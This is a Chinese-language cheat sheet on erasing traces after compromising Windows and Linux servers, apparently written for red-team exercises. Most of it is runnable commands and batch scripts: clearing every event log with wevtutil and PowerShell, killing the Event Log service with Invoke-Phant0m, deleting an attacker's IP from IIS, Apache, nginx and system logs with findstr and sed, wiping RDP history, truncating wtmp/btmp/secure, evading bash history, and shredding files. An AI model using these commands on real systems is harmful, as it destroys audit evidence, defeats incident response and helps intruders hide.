记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃
c:\windows\system32\winevt\Logs\System.evtx
%SystemRoot%\System32\Winevt\Logs\System.evtx
包含应用程序或系统程序记录的事件,主要记录程序运行方面的事件
c:\windows\system32\winevt\Logs\Application.evtx
%SystemRoot%\System32\Winevt\Logs\Application.evtx
记录系统的安全审计事件,包含各种类型的登陆日志、对象访问日志、进程追踪日志、特权使用、账号管理、策略变更和系统事件。
c:\windows\system32\winevt\Logs\Security.evtx
%SystemRoot%\System32\Winevt\Logs\Security.evtx
id 4624 为rdp链接登陆成功 , 可以看到客户端的ip , 可排查爆破rdp的攻击者ip
id 4625 为rdp链接登陆失败
最简单粗暴的图形化方式,开始→运行, 输入 eventvwr 进入事件查看器,右边栏选择清除日志
powershell命令一键清除
PowerShell -Command "& {Get-WinEvent -ListLog Application,System,Security -Force | %{Wevtutil.exe cl $_.Logname}}"
msf 清除日志命令
clearev
wevtutil
+for循环清除所有日志
Wevtutil
是用来查看事件的系统工具,可以卸载事件清单,导出,归档和清除日志
for /F "tokens=*" %a in ('wevtutil.exe el') DO wevtutil.exe cl "%a"
杀死日志记录脚本
Phant0m 脚本是用来杀死日志服务的,在日志服务进程中检测并杀死负责事件日志服务的线程,这样日志服务虽然运行但没法记录日志(畅游无阻)
powershell –exec bypass –Command "& {Import-Module 'C:\Invoke-Phant0m.ps1';Invoke-Phant0m}"
再次3389链接 , 你会发现 , 并没有日志记录
默认windows server 2012 没有安装IIS , 需要在服务器中添加IIS角色 , 一路默认即可
iis默认会每天记录一次日志,能记录下我们详细的入侵过程
%SystemDrive%\inetpub\logs\LogFiles
在该目录下删除指定日期的日志
如果无法删除文件,首先需要停止w3svc服务,再删除即可
net stop w3svc
//完事再启动就行:
net start w3svc
不同的 Win版本iis日志路径不一样,这里列出几个
C:\Windows\System32\LogFiles # win_s_2003
C:\inetpub\logs\LogFiles # win_s_2008r2
%SystemDrive%\inetpub\logs\LogFiles # win_s_2012r2
推荐
findstr /v 192.168.233.12 u_ex240312.log > u_ex240312_new.log # 排除hack ip , 把剩余的日志追加到一个新文件
net stop w3svc
del u_ex240312.log
rename u_ex240312_new.log u_ex240312.log
net start w3svc
apache默认日志在安装目录下的logs目录中。
访问日志:access.log 默认不开启, 需要打开conf\httpd.conf文件,搜索 CustomLog,取消注释错误日志:error.log
删除指定行
findstr /v 192.168.101.23 access.log > access_new.log
del access.log
rename access_new.log access.log
findstr /v 192.168.101.23 error.log > error_new.log
del error.log
rename error_new.log error.log
删除含有 192.168.101.23 的行
批处理
@echo off
set /p ip=input a ip:
findstr /v %ip% access.log > access_new.log
del access.log
rename access_new.log access.log
findstr /v %ip% error.log > error_new.log
del error.log
rename error_new.log error.log
echo "apache日志清理完成"
pause
exit 0
修改版本, 修改ip为自己的出口ip地址
@echo off
set ip=192.168.6.12
findstr /v %ip% access.log > access_new.log
del access.log
rename access_new.log access.log
findstr /v %ip% error.log > error_new.log
del error.log
rename error_new.log error.log
nginx默认日志在安装目录下的logs目录中。
访问日志:access.log
错误日志:error.log
删除指定行
findstr /v 192.168.101.23 access.log > access_new.log
del access.log
rename access_new.log access.log
findstr /v 192.168.101.23 error.log > error_new.log
del error.log
rename error_new.log error.log
删除含有 192.168.101.23 的行
# 查看ip是否在文本中存在
findstr 192.168.101.23 access.log
如果你使用已经拿下的目标器上的mstsc , 连接内网其他机器的3389 , 就会在当前的机器上保存3389的连接记录, 这个就是你的攻击路径,这也是一个需要清理的地方。
批处理文件 3389.bat
@echo off
@reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f ( win2012不存在 )
@del "%USERPROFILE%\Documents\Default.rdp" /a
@exit
del "%USERPROFILE%\Documents\Default.rdp" /a # 默认只能删除当前用户
# 实战中如果不记得那个用户了 , 来到每个用户的家目录下都删除一下
直接打开 %userprofile%\Recent 并删除所有内容
日志文件路径 | 记录内容描述 | 查看命令 |
---|---|---|
/var/log/btmp |
记录所有登录失败信息(可用于分析SSH爆破IP) | lastb |
/var/log/lastlog |
记录系统中所有用户最后一次登录时间的日志 | lastlog |
/var/log/wtmp |
记录所有用户的登录、注销信息(可查看成功登录的IP) | last |
/var/log/utmp |
记录当前已登录的用户信息 | w , who , users |
/var/log/secure |
记录与安全相关的日志信息(如SSH登录、sudo操作等) | cat , grep , journalctl |
/var/log/messages |
记录系统启动后的通用信息和错误日志(内核、服务日志等) | cat , tail , less |
清除目标 | 命令 | 注意事项 |
---|---|---|
登录失败记录 (btmp ) |
echo > /var/log/btmp |
需 root 权限,lastb 将显示空结果。 |
登录成功记录 (wtmp ) |
echo > /var/log/wtmp |
清除后 last 命令无输出,可能影响审计。 |
用户最后一次登录时间 | echo > /var/log/lastlog |
lastlog 命令重置为从未登录状态。 |
当前登录用户信息 (utmp ) |
echo > /var/log/utmp |
正在登录的用户不受影响,重启后生效。 |
安全日志 (secure ) |
cat /dev/null > /var/log/secure |
部分系统为 /var/log/auth.log ,需确认路径。 |
系统日志 (messages ) |
cat /dev/null > /var/log/messages |
Debian/Ubuntu 系统对应 /var/log/syslog ,清除后需重启服务或系统生效。 |
推荐的清除方案 , 只清除指定ip的记录
cd /var/log/
grep -r 192.168.6.105 # 递归的查找日志中包含192.168.6.105的文件
#删除所有匹配到字符串的行,比如以当天日期或者自己的登录ip,以message举例,只要是日志都可以这样操作
sed -i '/192.168.6.105/d' /var/log/messages
#全局替换时间或者ip等关键字
sed -i 's/192.168.6.105/192.168.6.106/g' /var/log/messages # 个人 vps 原内容 替换后的内容
安装后的文件路径:
/etc/httpd/conf/httpd.conf # 主配置文件
/var/www/html # 默认网站家目录
设置开机启动
systemctl enable httpd
启动apache
systemctl start httpd
查看状态
systemctl status httpd
关闭防火墙
systemctl stop firewalld.service
搜索web日志文件 , 所在的路径
find / -type f -name "access_log"
find / -type f -name "error_log"
删除指定行
sed -i '/192.168.156.187/d' /var/log/httpd/access_log
sed -i '/192.168.156.187/d' /var/log/httpd/error_log
宝塔的默认日志路径
/www/wwwlogs
空格 命令,这样这条命令就不会记录在 history 里面了
# 清空命令历史文件 , 全部清除了 , 不推荐
echo > ~/.bash_history ( 不推荐 )
# bash本身就是一个进程,命令是怎么记录呢?在你退出bash进程的一瞬间,记录下命令 ( 推荐 )
# kill -9 $$ 不给当前的shell留时间去处理,内存的命令也就没时间写入到文件
kill -9 $$
history -c #清空内存中的命令历史
history -d 358 #删除358行历史记录
set +o history(y) #设置当前shell内的命令不再进入日志中(这行命令会记录在history中)
set -o history #设置当前shell内的重新进入日志中 (不会记录)
# 删除指定12行
sed -i "12d" .bash_history
# 删除指定行 12-16行
sed -i "12,16d" .bash_history
如果一不小心 , 或者必须会记录操作的恶意命令 , 如反弹shell , 那么进入到当前用户的家目录 , 找到 .bash_history
文件 , 使用 vim 编辑 , 并删除需要删除的命令 , 最后 kill -9 $$
退出
当我们使用 vim 时候,会在 ~/.viminfo 留下操作记录,建议使用 vi
或者手动清除
sed -i "24d" .viminfo #删除 .viminfo 文件的第 24 行。
sed -i "24,30d" .viminfo #删除 .viminfo 文件的第 24 到 30 行
# shred 命令 安全的从硬盘上擦除数据,默认覆盖3次,通过 -n指定数据覆盖次数
# 文件
shred -f -u -z -v -n 4 1.txt
# wipe 使用特殊的模式来重复地写文件,从磁性介质中安全擦除文件
# 文件夹
wipe -r /tmp/test
rm -rf /tmp/test # 删除指定文件夹
攻防演练中一般删除一些自己在攻防中产生的新文件即可, 系统日志, web日志非必要不清理